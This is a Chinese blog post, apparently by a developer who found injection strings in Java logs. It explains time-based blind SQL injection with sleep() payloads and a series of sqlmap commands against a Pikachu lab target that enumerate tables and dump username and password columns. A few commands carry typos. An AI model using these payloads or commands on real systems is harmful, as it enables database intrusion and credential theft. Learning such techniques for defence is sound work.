浅析时间延时注入及sqlmap注入使用了解

一、问题背景

  一天在日志上看到很多这种报错:

nested exception is java.lang.NumberFormatException: For input string: "434199'and(select*from(select+sleep(0))a/**/union/**/select+1)='", 

org.springframework.web.method.annotation.MethodArgumentTypeMismatchException:Failed to convert value of type 'java.lang.String' to required type 'java.lang.Integer'; 

nested exception is java.lang.NumberFormatException: For input string: "434199'and(select*from(select+sleep(0))a/**/union/**/select+1)='"

  本来这接口是通过 id 查相关信息,结果却跟了 sql,第一反应就是可能被进行 sql 注入攻击了。所以查询了解下到底是啥

二、基于时间延时的注入

1、具体意思

  若网站执行了sql后,不管是否出错,都返回正常页面。那么我们就不能通过返回的页面来指挥注入了。

  此时就要用基于时间延迟的注入,使用sleep()函数来控制sql执行的时间。从而判断我们的语句是否执行正确。select * from test where id = 1 and if (substr(version(),1,1)=5,1,sleep(5)),这条语句执行时,如果mysql版本不是5,则延时5秒,根据页面返回时长来判断数据库版本。

2、利用场景:

  时间注入是盲注入的一种,利用的场景是当目标无法使用布尔盲注获得数据时,就可以使用这种基于时间延迟的注入

  利用语法:select if( length(database())>1,sleep(5),0 )

  这里的意思是数据名的长度如果大于1就延时5秒返回结果

3、这种注入方式还是使用sqlmap进行利用的。

三、sqlMap注入使用了解

1、sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql

  这里–technique=T 是指定注入的类型位时间延长注入

   可以看出sqlmap检测出来了,接下来查看当前库名

2、sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql --current-db --threads 10 --batch

   当前库名为pikachu,再跑表名

3、sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql --tables -D pikachu --batch

 4、列出字段:sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql --cplumns -T users -D pikachu --batch

5、出数据:sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_blind_t.php?name=lili&submit=1" -p name --technique=T -v 1 --dbms mysql -C “username,password” -T users D pikachu – threads 10 --batch

  图片用法来源于文章:https://blog.csdn.net/qq_42307546/article/details/122333797

  更多 sqlmap 知识可见这份手册:https://www.kancloud.cn/ju7ran/lg_gf/1500236

四、sqlmap 设置具体SQL注入技术

1、参数 --technique 用于指定检测注入时所用技术。默认情况下 Sqlmap 会使用自己支持的全部技术进行检测。 此参数后跟表示检测技术的大写字母,其值为 B、E、U、S、T 或 Q,含义如下:

  B:Boolean-based blind(布尔型注入)

  E:Error-based(报错型注入)

  U:Union query-based(可联合查询注入)

  S:Stacked queries(可多语句查询注入)

  T:Time-based blind(基于时间延迟注入)

  Q:Inline queries(嵌套查询注入)

  可以用 "--technique ES" 来指定使用两种检测技术。"--technique BEUSTQ" 与默认情况等效。如:$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique EB --banner

2、sqlmap 设置时间盲注延迟时间:用 --time-sec 3 参数设置基于时间延迟注入中延时时长,默认为 5 秒

posted @ 2022-03-15 21:35  古兰精  阅读(7009)  评论(0编辑  收藏  举报